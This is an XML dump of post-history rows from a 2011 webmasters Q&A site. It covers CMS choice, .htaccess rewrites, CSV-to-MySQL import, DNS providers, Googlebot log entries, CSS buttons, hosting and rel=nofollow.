  <row Id="44452" PostHistoryTypeId="2" PostId="18298" RevisionGUID="98e68495-3982-4a82-b038-a86ce9376fa2" CreationDate="2011-08-16T12:36:37.670" UserId="9635" UserDisplayName="Mawg" Text="I am a grey-haired professional programmer, quiet conversant in PHP, MySql, HTL, CSS which means I can tweak things or code plugins if need be, but I’d like something off the shelf as far as possible.&#xD;&#xA;&#xD;&#xA;I would prefer something free but can pay if it is not hideously expensive (actually, I started out thinking free only, until I found http://pligg.com/ which is dedicated to communities, but has plugins which cost about $10, and I might be willing to pay for convenience). &#xD;&#xA;&#xD;&#xA;Before I found that, I was heavily in favour  of Drupal, but might be swayed by something dedicated to my needs or with many, many users or great support or a great deal of plug-ins.&#xD;&#xA;&#xD;&#xA;Anyhoo, what am I trying to do?&#xD;&#xA;&#xD;&#xA;A social site for ex-pats to help them adjust to their new country. Preparing to get there, legal/visa issues, employment opportunities, accommodation, shopping, plus social stuff.&#xD;&#xA;&#xD;&#xA;The demographic is mainly girls in their 20s, so a social angle is important. Integration of FaceBook, Flikr &amp; the like might be nice. What I am thinking of is&#xD;&#xA;-	main content provided by me and a few moderators&#xD;&#xA;-	a Wiki to which everyone can contribute &#xD;&#xA;-	forums for discussions&#xD;&#xA;-	small ads/freebie&#xD;&#xA;-	user registration (which may limit access to certain parts of the site)&#xD;&#xA;-	groups of friends, with shared .. stuff (photos, discussion rooms, etc)&#xD;&#xA;-	per user blog&#xD;&#xA;-	per user photo album&#xD;&#xA;-	mailing lists&#xD;&#xA;-	I think you get the picture …. 9and can you suggest moe?)&#xD;&#xA;&#xD;&#xA;As I said, I was originally set on Drupal, which also has some pre-configured distros, but I didn’t find one yet that really matches my needs. Then I saw Pligg, which looks good, but I might have to shell out $100 or $200 to get it the way I want it. And I still continue to search.&#xD;&#xA;&#xD;&#xA;Any suggestions? Thanks" />
  <row Id="44453" PostHistoryTypeId="1" PostId="18298" RevisionGUID="98e68495-3982-4a82-b038-a86ce9376fa2" CreationDate="2011-08-16T12:36:37.670" UserId="9635" UserDisplayName="Mawg" Text="Which CMS system for a community based site?" />
  <row Id="44454" PostHistoryTypeId="3" PostId="18298" RevisionGUID="98e68495-3982-4a82-b038-a86ce9376fa2" CreationDate="2011-08-16T12:36:37.670" UserId="9635" UserDisplayName="Mawg" Text="&lt;cms&gt;&lt;community&gt;" />
  <row Id="44455" PostHistoryTypeId="5" PostId="18272" RevisionGUID="f9601b23-58e3-407c-a0d1-842c12159bef" CreationDate="2011-08-16T13:25:24.847" UserId="9396" Comment="Fixed major brain fart." Text="If I understand you correctly this should be in the parent directories .htaccess file:&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    # enable mod_rewrite&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    # redirect to the view folder&#xD;&#xA;    RewriteRule    (.*) view/$1    [L]&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;And this should be in the .htaccess file in the view folder:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_rewrite.c&gt;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    # check to make sure this isn't a file or directory&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44456" PostHistoryTypeId="2" PostId="18299" RevisionGUID="bb489040-7096-42e3-942c-c5163c9eb083" CreationDate="2011-08-16T13:29:36.720" UserId="1803" Text="May [BuddyPress][1] for Wordpress is something for you. It's social networking plugin, which may be combined with any other WP-plugins.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/buddypress/" />
  <row Id="44457" PostHistoryTypeId="2" PostId="18300" RevisionGUID="eeafd801-0744-42f9-b6ff-a1c2b185d845" CreationDate="2011-08-16T13:37:52.463" UserId="1803" Text="&quot;the site will […] manage itself&quot; Yeah, sure. I hope that too for all my sites, but they never do anything alone.&#xD;&#xA;&#xD;&#xA;If you run a web-centric business, you need a permanent webmaster, who can fix bugs or help you if you suddenly have much more visitors, that your allowed via your hosting-contract and so on. He will at least need some maintenance contract with the web design company.&#xD;&#xA;&#xD;&#xA;To your question: what to be aware of? I think there is too much that may come over the time. Your friend may also want some new features in a few months—so it's hard to say." />
  <row Id="44458" PostHistoryTypeId="2" PostId="18301" RevisionGUID="76c5b84c-2a07-4008-8709-fc1e379bf46b" CreationDate="2011-08-16T13:46:12.730" UserId="9616" Text="A certain page on our website keeps generating entries like the following on our IIS6 logs:&#xD;&#xA;&#xD;&#xA;    2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET /abc workaround=407707368055555 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;    2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET /abc workaround=407707277777777 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;    2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET /abc workaround=407707347222222 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;    2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET /abc workaround=407707291666666 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;    2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET /abc workaround=407707263888888 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;    2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET /abc workaround=407707326388888 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;    2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET /abc workaround=407707437500000 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;    2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET /abc workaround=407707451388888 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;    2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET /abc workaround=407707340277777 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;    2011-08-16 00:53:34 W3SVC943830190 10.20.101.146 GET /abc workaround=407707270833333 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;    2011-08-16 00:53:35 W3SVC943830190 10.20.101.146 GET /abc workaround=407707381944444 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;    2011-08-16 00:53:35 W3SVC943830190 10.20.101.146 GET /abc workaround=407707284722222 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;    2011-08-16 00:53:35 W3SVC943830190 10.20.101.146 GET /abc workaround=407707201388888 80 - 66.249.85.65 - 200 0 0&#xD;&#xA;&#xD;&#xA;Doing a reverse dns lookup, these ip addresses making these calls seems to be a Google Bot. What does &quot;workaround=&quot; on this line mean?&#xD;&#xA;&#xD;&#xA;We always seem to be getting &quot;workaround=&quot; calls on 1 particular page only, sometimes multiple times within a few seconds like this example. What is the cause of this and how can i prevent it?&#xD;&#xA;&#xD;&#xA;This specific page does make AJAX calls via jQuery to a 3rd party service and they are reporting a spike in calls being made and I am suspecting this bot calls to be the issue." />
  <row Id="44459" PostHistoryTypeId="1" PostId="18301" RevisionGUID="76c5b84c-2a07-4008-8709-fc1e379bf46b" CreationDate="2011-08-16T13:46:12.730" UserId="9616" Text="&quot;workaround=&quot; in IIS6 logs" />
  <row Id="44460" PostHistoryTypeId="3" PostId="18301" RevisionGUID="76c5b84c-2a07-4008-8709-fc1e379bf46b" CreationDate="2011-08-16T13:46:12.730" UserId="9616" Text="&lt;googlebot&gt;&lt;iis6&gt;" />
  <row Id="44461" PostHistoryTypeId="2" PostId="18302" RevisionGUID="a22af875-94da-4074-9446-8fa86d2c3fff" CreationDate="2011-08-16T13:54:24.667" UserId="8009" Text="Future browser compatibility isn't so much of an issue provided the website is designed to be future-proof (within reason) from the off - by that, I mean valid html/css that displays properly in a range of browsers on a number of devices.&#xD;&#xA;&#xD;&#xA;If your friend were to experience an influx of traffic, it is merely a case of upgrading the server or data transfer allowances with his/her web host - obviously with your friend being non-technical, this may be something they will have taken care of, which means they would be his first port of call either way should this become an issue.&#xD;&#xA;&#xD;&#xA;Provided the site is programmed and put together well, there is no reason why it shouldn't stand the test of time (as far as intended functionality goes), though a lot of the best websites are updated with both features and content over time to keep things interesting and continually optimize whatever they intend to serve as.&#xD;&#xA;&#xD;&#xA;It sounds like there will be a customer support role (it also sounds like your friend will likely be taking care of it) - and of course, you never know what people might ask. That being said, if someone did have a technical issue he couldn't answer the chances are the source of the issue is either local to that user - or as I keep saying, the site was designed to be expandable in the first place.&#xD;&#xA;&#xD;&#xA;tl:dr; Provided the website is designed to display properly on a number of browsers and devices as well as being optimized for performance and his web design company are also taking care of the hosting, he shouldn't have any worries until the point where the business has scaled to probably requiring full-time technical support anyway." />
  <row Id="44462" PostHistoryTypeId="2" PostId="18303" RevisionGUID="826a741f-548b-4278-af34-35287e3e3e8b" CreationDate="2011-08-16T13:54:31.983" UserId="1803" Text="&quot;Ill give you the code.&quot; Better would be a design-draft of your buttons…&#xD;&#xA;&#xD;&#xA;Most often you will need buttons with variable length, which is done easier using pure CSS. This alone would be a decision on to CSS, in my opinion. Also using graphics, the loading time will increase.&#xD;&#xA;&#xD;&#xA;BTW:&#xD;&#xA;&#xD;&#xA;    span#text-plan {}&#xD;&#xA;    /* is the same as */&#xD;&#xA;    li#button-plan span {}&#xD;&#xA;    /* is the same as */&#xD;&#xA;    #button-plan span {}&#xD;&#xA;    &#xD;&#xA;    li#button-plan:hover span, li#button-develop:hover span,&#xD;&#xA;    li#button-host:hover span, li#button-support:hover span{&#xD;&#xA;        display:block;&#xD;&#xA;    }&#xD;&#xA;    /* is the same as */&#xD;&#xA;    #buttons-dev li:hover span {&#xD;&#xA;        display:block;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Also it seems, like you want to have clickable buttons—so why don't you use `&lt;button&gt;` or `&lt;a&gt;` in your markup instead of `&lt;li&gt;`?" />
  <row Id="44463" PostHistoryTypeId="2" PostId="18304" RevisionGUID="98d99eda-2bb7-495f-83ab-5b5490f70aa9" CreationDate="2011-08-16T13:56:14.343" UserId="5134" Text="I was finding automatic .csv file converter to web based to put the .csv file report as web based. but i can't find one. instead, i found one system which is taken MySQL database and show the report.  &#xD;&#xA;&#xD;&#xA;Now what i need is a tool which automatically convert a .csv file to MySQL and the other tool will take the MySQL file and show as report. &#xD;&#xA;&#xD;&#xA;What opensource web tool you recommend?  &#xD;&#xA;&#xD;&#xA;Thanks, " />
  <row Id="44464" PostHistoryTypeId="1" PostId="18304" RevisionGUID="98d99eda-2bb7-495f-83ab-5b5490f70aa9" CreationDate="2011-08-16T13:56:14.343" UserId="5134" Text="Automatically convert CSV file to MySQL" />
  <row Id="44465" PostHistoryTypeId="3" PostId="18304" RevisionGUID="98d99eda-2bb7-495f-83ab-5b5490f70aa9" CreationDate="2011-08-16T13:56:14.343" UserId="5134" Text="&lt;looking-for-a-script&gt;&lt;web-applications&gt;&lt;recommendations&gt;" />
  <row Id="44466" PostHistoryTypeId="2" PostId="18305" RevisionGUID="a9a5dfd7-ba38-4783-85d7-65d9afec6f53" CreationDate="2011-08-16T13:57:41.123" UserId="9617" Text="At first I wondered if it was due to the traffic difference between day and night, but that turned out not to be the case, since the period of rise and drop in traffic was about a week, not overnight.&#xD;&#xA;&#xD;&#xA;The website I'm looking at is [this one][1] (it's not mine). Looks weird, right?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cn.alexa.com/siteinfo/fx168.com" />
  <row Id="44467" PostHistoryTypeId="1" PostId="18305" RevisionGUID="a9a5dfd7-ba38-4783-85d7-65d9afec6f53" CreationDate="2011-08-16T13:57:41.123" UserId="9617" Text="What causes a website's alexa page-rank and traffic data to display highly regular sine wave patterns over a period of 30 days?" />
  <row Id="44468" PostHistoryTypeId="3" PostId="18305" RevisionGUID="a9a5dfd7-ba38-4783-85d7-65d9afec6f53" CreationDate="2011-08-16T13:57:41.123" UserId="9617" Text="&lt;pagerank&gt;&lt;traffic&gt;&lt;alexa&gt;" />
  <row Id="44469" PostHistoryTypeId="2" PostId="18306" RevisionGUID="ad3cba75-987f-46ad-ab4a-f773c9410681" CreationDate="2011-08-16T14:13:16.560" UserId="1655" Text="Well I'm no expert in Chinese or finances, but it looks like fx168.com is a finance website and it seems like it's traffic peaks during the begging of the week and then wanes off until the next week starts again. It could have something to do with the Chinese stock markets or maybe when the Chinese receive their paychecks." />
  <row Id="44470" PostHistoryTypeId="5" PostId="18263" RevisionGUID="227986a5-6ae0-4d9a-9ff1-015697369b89" CreationDate="2011-08-16T14:17:56.127" UserId="9598" Comment="added 91 characters in body; edited title" Text="1 Which criterions shall I use to choose a good DNS provider?&#xD;&#xA;&#xD;&#xA;- Redundancy - Your DNS service shall propose at least 4 nameservers. &#xD;&#xA;You should also check for the use of anycast servers such as Amazon Route 53 and dyn.com services. &#xD;&#xA;- Worldwide server location - Servers shall be located worldwide, not just in one country!&#xD;&#xA;- Ipv6 support - It shall be possible to declare an AAAA entry to your server if it supports IPV6&#xD;&#xA;- Cost is of course an issue. Some service are free, Amazon Route 53 seems quite cheap.&#xD;&#xA;- Reliability : SLA is also important, it demonstrate that reliability is measured. Your dns provider shall then state for a refund in case a failure is encountered.&#xD;&#xA;&#xD;&#xA;Anything else?&#xD;&#xA;&#xD;&#xA;For reference, a couple of links for more information:&#xD;&#xA;&#xD;&#xA; - http://serverfault.com/questions/216330/why-should-i-use-amazon-route-53-over-my-registrars-dns-servers&#xD;&#xA; - http://aws.amazon.com/route53/&#xD;&#xA; - http://dyn.com/dns/" />
  <row Id="44471" PostHistoryTypeId="4" PostId="18263" RevisionGUID="227986a5-6ae0-4d9a-9ff1-015697369b89" CreationDate="2011-08-16T14:17:56.127" UserId="9598" Comment="added 91 characters in body; edited title" Text="Best criterions for choosing a DNS provider : Redundancy, Locations, Cost, IPV6, Reliability" />
  <row Id="44472" PostHistoryTypeId="2" PostId="18307" RevisionGUID="45804ad7-ab4a-4f44-96c8-8505d334377a" CreationDate="2011-08-16T14:40:43.333" UserId="8354" Text="There are few ways to import CSV into MySQL DB:&#xD;&#xA;&#xD;&#xA;**1\.** Manually using **[phpMyAdmin](http://www.phpmyadmin.net/)** -- select DB, table and choose &quot;Import&quot;.&#xD;&#xA;&#xD;&#xA;**2\.** MySQL can even use **CSV as database storage engine** (work with CSV file directly) -- but this is not recommended to use it extensively as performance is not that great -- but enough for reading data from it occasionally. The CSV file has to use specific row/column delimiters.&#xD;&#xA;&#xD;&#xA;Official documentation: http://dev.mysql.com/doc/refman/5.1/en/csv-storage-engine.html&#xD;&#xA;&#xD;&#xA;**3\.** Executing this sort of **SQL command** (you just need to do a little bit of coding to implement this as a webpage/script):&#xD;&#xA;&#xD;&#xA;    LOAD DATA LOCAL INFILE &quot;xxx.cvs&quot;&#xD;&#xA;    INTO TABLE xxx&#xD;&#xA;    FIELDS TERMINATED BY ','&#xD;&#xA;    ENCLOSED BY '\&quot;'&#xD;&#xA;    LINES TERMINATED BY '\n'&#xD;&#xA;&#xD;&#xA;Official documentation: http://dev.mysql.com/doc/refman/5.1/en/load-data.html&#xD;&#xA;&#xD;&#xA;**4\.** Code your own script that will read data line by line from CSV file and convert them into SQL commands (`INSERT INTO ...`).&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;You are asking for already existing open source solution -- phpMyAdmin is a perfect example. It is more that just an import script -- it is widely used by manage MySQL databases, but it does what you need -- import data from CSV file into MySQL DB.&#xD;&#xA;&#xD;&#xA;Unfortunately I do not know any Open Source reporting web-based tool -- if I need a report I will code it myself.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;If you search for [CSV 2 MySQL](http://www.google.co.uk/search?q=csv+2+mysql) a bit, you will see quite a lot PHP-based scripts available. Some of them are free and some cost some money; some will be able to handle any CSV format (row delimiter, column delimiter, non-ascii characters etc) while other may only handle a limited variation." />
  <row Id="44473" PostHistoryTypeId="25" PostId="18239" RevisionGUID="784ff440-b3d5-4fa5-8f9f-6fad7d2dc5ee" CreationDate="2011-08-16T15:34:45.520" Comment="http://twitter.com/#!/StackWebmasters/status/103489883955404800" />
  <row Id="44474" PostHistoryTypeId="2" PostId="18308" RevisionGUID="455858eb-e283-4870-9a0c-251b654d8ce0" CreationDate="2011-08-16T16:16:49.167" UserId="9615" Text="I've tried to have 1 connection by windows remote desktop and connection by teamviewer. But it doesn't work. When I shut down windows remote desktop teamviewer stopped remoting either.&#xD;&#xA;&#xD;&#xA;My purpose is : When another user connect to the VPS I am able to know what he is doing on the VPS.&#xD;&#xA;&#xD;&#xA;Is it possible ?" />
  <row Id="44475" PostHistoryTypeId="1" PostId="18308" RevisionGUID="455858eb-e283-4870-9a0c-251b654d8ce0" CreationDate="2011-08-16T16:16:49.167" UserId="9615" Text="Is it possible to have 2 connection simultaneously to VPS?" />
  <row Id="44476" PostHistoryTypeId="3" PostId="18308" RevisionGUID="455858eb-e283-4870-9a0c-251b654d8ce0" CreationDate="2011-08-16T16:16:49.167" UserId="9615" Text="&lt;vps&gt;" />
  <row Id="44477" PostHistoryTypeId="2" PostId="18309" RevisionGUID="f4109169-c880-43e3-8ee3-95fb4b149196" CreationDate="2011-08-16T16:55:20.407" UserId="8130" Text="Recently i stumbled on an excellent article about [CSS3 Gradient Buttons][1], and that gave me the kick to change to pure CSS instead of background images. The same style applies to different width's and height's of buttons and even adapt to the used font size. It can also be used on buttons as well as links. &#xD;&#xA;&#xD;&#xA;I found it to be much easier to make changes, buttons can have a dynamic width, and you can reduce the number of files to download.&#xD;&#xA;&#xD;&#xA;The only drawback i found so far is, that the round corners are not shown in IE. Version 10 of IE should be able to show them, but i could not test this myself.&#xD;&#xA;&#xD;&#xA;  [1]: http://webdesignerwall.com/tutorials/css3-gradient-buttons" />
  <row Id="44478" PostHistoryTypeId="2" PostId="18310" RevisionGUID="0d8ca15d-2611-4b8f-a644-0dbc9d0f1461" CreationDate="2011-08-16T17:11:39.997" UserId="9620" Text="I have created a program that searches through every player of a particular online game, visits their information webpage and extracts pieces of information about them (ie. their stats).&#xD;&#xA;&#xD;&#xA;The problem is that there are several millions of players. By my initial calculations, it may take over 10 days to complete, and will use up over 30gbs of data traffic. This is less than ideal when you have a 40gb monthly allowance and you want to run the program weekly.&#xD;&#xA;&#xD;&#xA;My question is this. How can I run my program quickly and cheaply. For instance, is it possible to buy some webspace with a webhosting company and run my java program somehow from there? I have seen some webhosting for around $2 per month, which seems pretty reasonable.&#xD;&#xA;&#xD;&#xA;Or is it a webserver I would be after. Although they seem rather expensive. I am only doing this for my own interest and wouldn't want to spent more than a few dollars.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="44479" PostHistoryTypeId="1" PostId="18310" RevisionGUID="0d8ca15d-2611-4b8f-a644-0dbc9d0f1461" CreationDate="2011-08-16T17:11:39.997" UserId="9620" Text="Running a program that extracts data from websites" />
  <row Id="44480" PostHistoryTypeId="3" PostId="18310" RevisionGUID="0d8ca15d-2611-4b8f-a644-0dbc9d0f1461" CreationDate="2011-08-16T17:11:39.997" UserId="9620" Text="&lt;web-hosting&gt;&lt;webserver&gt;&lt;java&gt;" />
  <row Id="44481" PostHistoryTypeId="2" PostId="18311" RevisionGUID="ce7cbc5c-042a-4d28-8d10-e37a3c9c6f17" CreationDate="2011-08-16T17:28:21.140" UserId="9621" Text="Yes, you can purchase the use of a remote computer that would allow you to use that computer's access to the Internet to collect your data.&#xD;&#xA;&#xD;&#xA;Here are some difficulties you will still face even if you go this route:&#xD;&#xA;&#xD;&#xA;1. You will need to set up, configure and manage a remote computer, probably from a SSH command line interface.&#xD;&#xA;&#xD;&#xA;2. The info you collected is still stored on a remote computer, you will face the same bandwidth issues you faced before in attempting to move that data to your local computer.&#xD;&#xA;&#xD;&#xA;3. You will need to pay for the bandwidth your new server will use to access the data you are after.&#xD;&#xA;&#xD;&#xA;It is probably much easier and more cost effective to purchase additional bandwidth for your local computer which is already configured" />
  <row Id="44482" PostHistoryTypeId="5" PostId="18309" RevisionGUID="dc4d88d6-824b-40a9-85e6-919798041816" CreationDate="2011-08-16T17:33:02.060" UserId="8130" Comment="added 23 characters in body" Text="Recently i stumbled upon an excellent article about [CSS3 Gradient Buttons][1], and that gave me the kick to change to pure CSS instead of background images. The same style applies to different width's and height's of buttons and even adapt to the used font size. It can also be used on buttons as well as links and other elements. &#xD;&#xA;&#xD;&#xA;I found it to be much easier to make changes, buttons can have a dynamic width, and you can reduce the number of files to download.&#xD;&#xA;&#xD;&#xA;The only drawback i found so far is, that the rounded corners are not shown in IE. Version 10 of IE should be able to show them, but i could not test this myself.&#xD;&#xA;&#xD;&#xA;  [1]: http://webdesignerwall.com/tutorials/css3-gradient-buttons" />
  <row Id="44483" PostHistoryTypeId="2" PostId="18312" RevisionGUID="bb439ac5-94ab-4ef6-a77f-113cf0858cb1" CreationDate="2011-08-16T17:51:16.193" UserId="8130" Text="I don't know if such a plugin exists, but [NoScript][1] for the mozilla browser can do a big part of what you want. It not only allows blocking scripts, it also can prevent loading of other external objects, and you can activate/deactivate individual domains, from a list of domains your page is linking to.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://addons.mozilla.org/de/firefox/addon/noscript/" />
  <row Id="44484" PostHistoryTypeId="2" PostId="18313" RevisionGUID="e1ce747b-5ed1-4fe2-a776-2ef18f3ecb10" CreationDate="2011-08-16T18:21:36.313" UserId="9622" Text="Also you have to consider that you will also eat up 30GB x 4 of the websites data traffic per month, depending on the website this can be a huge problem for the operator and they will probably detect the bandwidth usage spike as an attack on their website. " />
  <row Id="44485" PostHistoryTypeId="2" PostId="18314" RevisionGUID="0926529c-9cc8-45fe-a96b-30fd47ef5abc" CreationDate="2011-08-16T18:27:10.530" UserId="9623" Text="Google Labs has a neat tool for visualizing the percentage of users who can see a section of a web page.  It works vertically and horizontally.&#xD;&#xA;&#xD;&#xA;&gt; Google Browser Size is a visualization of browser window sizes for&#xD;&#xA;&gt; people who visit Google. For example, the &quot;90%&quot; contour means that 90%&#xD;&#xA;&gt; of people visiting Google have their browser window open to at least&#xD;&#xA;&gt; this size or larger.&#xD;&#xA;&#xD;&#xA;http://browsersize.googlelabs.com/&#xD;&#xA;" />
  <row Id="44486" PostHistoryTypeId="2" PostId="18315" RevisionGUID="5966dc07-595e-43b9-96e7-df59c0079c71" CreationDate="2011-08-16T18:34:33.187" UserId="9624" Text="I'm a bit familiar with gateways, but I can't seem to find one that will accept soft merchant descriptors, or at least accept them easily. Most say &quot;you need a separate merchant account&quot;, well that isn't going to work for my situation.&#xD;&#xA;&#xD;&#xA;Obviously this CAN be done. My wife uses SquareUp for selling her Avon stuff and they do this exact thing, allowing whatever description she wants to appear on the credit card statement. &#xD;&#xA;&#xD;&#xA;I need an actual web gateway however, so that one of my sites can accept cards on behalf of my customers. Any options out there?" />
  <row Id="44487" PostHistoryTypeId="1" PostId="18315" RevisionGUID="5966dc07-595e-43b9-96e7-df59c0079c71" CreationDate="2011-08-16T18:34:33.187" UserId="9624" Text="Looking for a payment gateway supporting soft descriptors" />
  <row Id="44488" PostHistoryTypeId="3" PostId="18315" RevisionGUID="5966dc07-595e-43b9-96e7-df59c0079c71" CreationDate="2011-08-16T18:34:33.187" UserId="9624" Text="&lt;ecommerce&gt;" />
  <row Id="44489" PostHistoryTypeId="25" PostId="18301" RevisionGUID="6dc36125-7009-48dd-9ed1-5a596acadfdc" CreationDate="2011-08-16T18:34:46.240" Comment="http://twitter.com/#!/StackWebmasters/status/103535182266642433" />
  <row Id="44490" PostHistoryTypeId="2" PostId="18316" RevisionGUID="c905a4a7-0b4c-4267-9012-050615f4a61f" CreationDate="2011-08-16T18:49:21.403" UserId="9206" Text="I'm not sure if I understand the question, but almost every single website will show clear 7 day patterns and trends for (for example) number of users. Is that what you're asking?" />
  <row Id="44491" PostHistoryTypeId="17" PostId="18317" RevisionGUID="82c446b4-d2be-48f3-91dc-41faa2e319c9" CreationDate="2011-08-16T19:35:20.510" UserId="-1" Comment="from http://stackoverflow.com/questions/7083687/why-is-free-language-agnostic-hosting-a-rarity" Text="" />
  <row Id="44492" PostHistoryTypeId="2" PostId="18317" RevisionGUID="9e23b2e8-de1b-4631-a806-7e9f9ebd8b05" CreationDate="2011-08-16T19:13:15.383" UserId="9638" UserDisplayName="Louis" Text="Before I say anything, note that I know nothing about webhosting. So don't be too cruel about my comments :)&#xD;&#xA;&#xD;&#xA;To cut a long story short, I was browsing around for a free webhost for a completely personal project, and I found quite a few (Helio Webhosting being the one I looked at the most).&#xD;&#xA;&#xD;&#xA;From what I can gather, most of them provide a virtualized machine or access to a home directory that is the only area you're allowed to 'scribble' in. I would have thought that for a free webhost it would be easiest to say &quot;Right, here's your area. You're not allowed out that area. Sort out the software you want, whether it be FastCGI, an Apache module, or just static HTML. We don't care, and we ain't gonna help you set any of it up. Oh, and you can't exceed your tiny disk quota, so you probably ain't gonna be able to use JSP&quot;&#xD;&#xA;&#xD;&#xA;Instead they seem to lock you into specific languages and then are obliged to have help forums for setting up those languages. This costs them resources as they are obliged to guide people on the usages of their supported language, and it also annoys those programmers whose languages are not supported.&#xD;&#xA;&#xD;&#xA;Of course, you could have the best of both worlds: shared binaries/libs for really popular languages and Apache setups, and also the ability to handle your own binaries at the expense of your disk space quota, which you can then use as the CGI interpreters or maybe a custom Apache with the module for your favorite language installed.&#xD;&#xA;&#xD;&#xA;Whatever. I don't really know what I'm talking about, hence the seeking of answers :)&#xD;&#xA;&#xD;&#xA;So, why is free language-agnostic hosting a rarity?" />
  <row Id="44493" PostHistoryTypeId="1" PostId="18317" RevisionGUID="9e23b2e8-de1b-4631-a806-7e9f9ebd8b05" CreationDate="2011-08-16T19:13:15.383" UserId="9638" UserDisplayName="Louis" Text="Why is Free Language-Agnostic Hosting a Rarity?" />
  <row Id="44494" PostHistoryTypeId="3" PostId="18317" RevisionGUID="9e23b2e8-de1b-4631-a806-7e9f9ebd8b05" CreationDate="2011-08-16T19:13:15.383" UserId="9638" UserDisplayName="Louis" Text="&lt;web&gt;&lt;server&gt;&lt;web-hosting&gt;&lt;free&gt;" />
  <row Id="44496" PostHistoryTypeId="2" PostId="18319" RevisionGUID="742b13d8-909e-4bde-a0c9-fb55de827a3a" CreationDate="2011-08-16T19:54:41.643" UserId="4040" Text="I use [was it up][1] (free), and they've always seemed to catch my downtime pretty quickly.  I'm going to pump the emails into [PagerDuty][2] (not free) to send SMSes as soon as I get a chance.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wasitup.com&#xD;&#xA;  [2]: http://www.pagerduty.com" />
  <row Id="44497" PostHistoryTypeId="2" PostId="18320" RevisionGUID="98bccb00-4ec1-42c3-b4bd-f40a9f063b98" CreationDate="2011-08-16T20:40:27.720" UserId="4502" Text="Still currently in dev status, but the Drupal &lt;a href=&quot;http://drupal.org/project/rooms&quot;&gt;Rooms&lt;/a&gt; project is headed this direction." />
  <row Id="44498" PostHistoryTypeId="17" PostId="18321" RevisionGUID="242d842a-07ee-406f-a39e-ad3dfd857399" CreationDate="2011-08-16T20:48:42.743" UserId="-1" Comment="from http://stackoverflow.com/questions/7083762/rel-nofollow-in-img-tags" Text="" />
  <row Id="44500" PostHistoryTypeId="17" PostId="18323" RevisionGUID="9deb11f0-d007-4b70-8c6c-14f45e2fd627" CreationDate="2011-08-16T20:48:42.743" UserId="-1" Comment="from http://stackoverflow.com/questions/7083762/rel-nofollow-in-img-tags" Text="" />
  <row Id="44501" PostHistoryTypeId="17" PostId="18324" RevisionGUID="5b613230-d6b3-468b-8766-a7b274211f1e" CreationDate="2011-08-16T20:48:42.743" UserId="-1" Comment="from http://stackoverflow.com/questions/7083762/rel-nofollow-in-img-tags" Text="" />
  <row Id="44502" PostHistoryTypeId="17" PostId="18325" RevisionGUID="51a9d2c5-67c4-4662-97e4-76bf980c5ded" CreationDate="2011-08-16T20:48:42.743" UserId="-1" Comment="from http://stackoverflow.com/questions/7083762/rel-nofollow-in-img-tags" Text="" />
  <row Id="44504" PostHistoryTypeId="2" PostId="18326" RevisionGUID="8c5c34e9-2b20-47ee-b5ff-2358b7edfe49" CreationDate="2011-08-16T19:25:36.523" UserId="2453" Text="The `rel` attribute is only for `a` and `link` elements. The `nofollow` value is to keep a web crawler from following that link (which might have affected the linked page's ranking based on your own). It keeps spammers commenting on blog posts from gaining any page ranking from linking from the blog (or discussion forum, etc.). It doesn't make sense for `img` elements and furthermore an `img` with a `rel` attribute is __invalid__, which may lower your relevancy score by a search engine. " />
  <row Id="44505" PostHistoryTypeId="2" PostId="18323" RevisionGUID="f6616bdc-db55-4a85-9a23-5a9073ab0f8a" CreationDate="2011-08-16T19:23:45.417" UserDisplayName="adritha84" Text="&gt;nofollow is a value that can be assigned to the rel attribute of an HTML a element to instruct some search engines that a hyperlink should not influence the link target's ranking in the search engine's index. It is intended to reduce the effectiveness of certain types of search engine spam, thereby improving the quality of search engine results and preventing spamdexing from occurring.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Nofollow&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44506" PostHistoryTypeId="2" PostId="18324" RevisionGUID="7531aeff-2577-47d0-9acd-e3e0139dbbe3" CreationDate="2011-08-16T19:23:54.197" UserDisplayName="Prakashkumar Thiagarajan" Text="Yes. In theory, if you use rel=&quot;nofollow&quot;, then web crawlers will not crawl further on those links and will not consider it as a outlink from your webpage.&#xD;&#xA;&#xD;&#xA;For example, if you have people posting comments, you would usually not want the links posted by someone else in a comment to be considered as a outlink from your website. " />
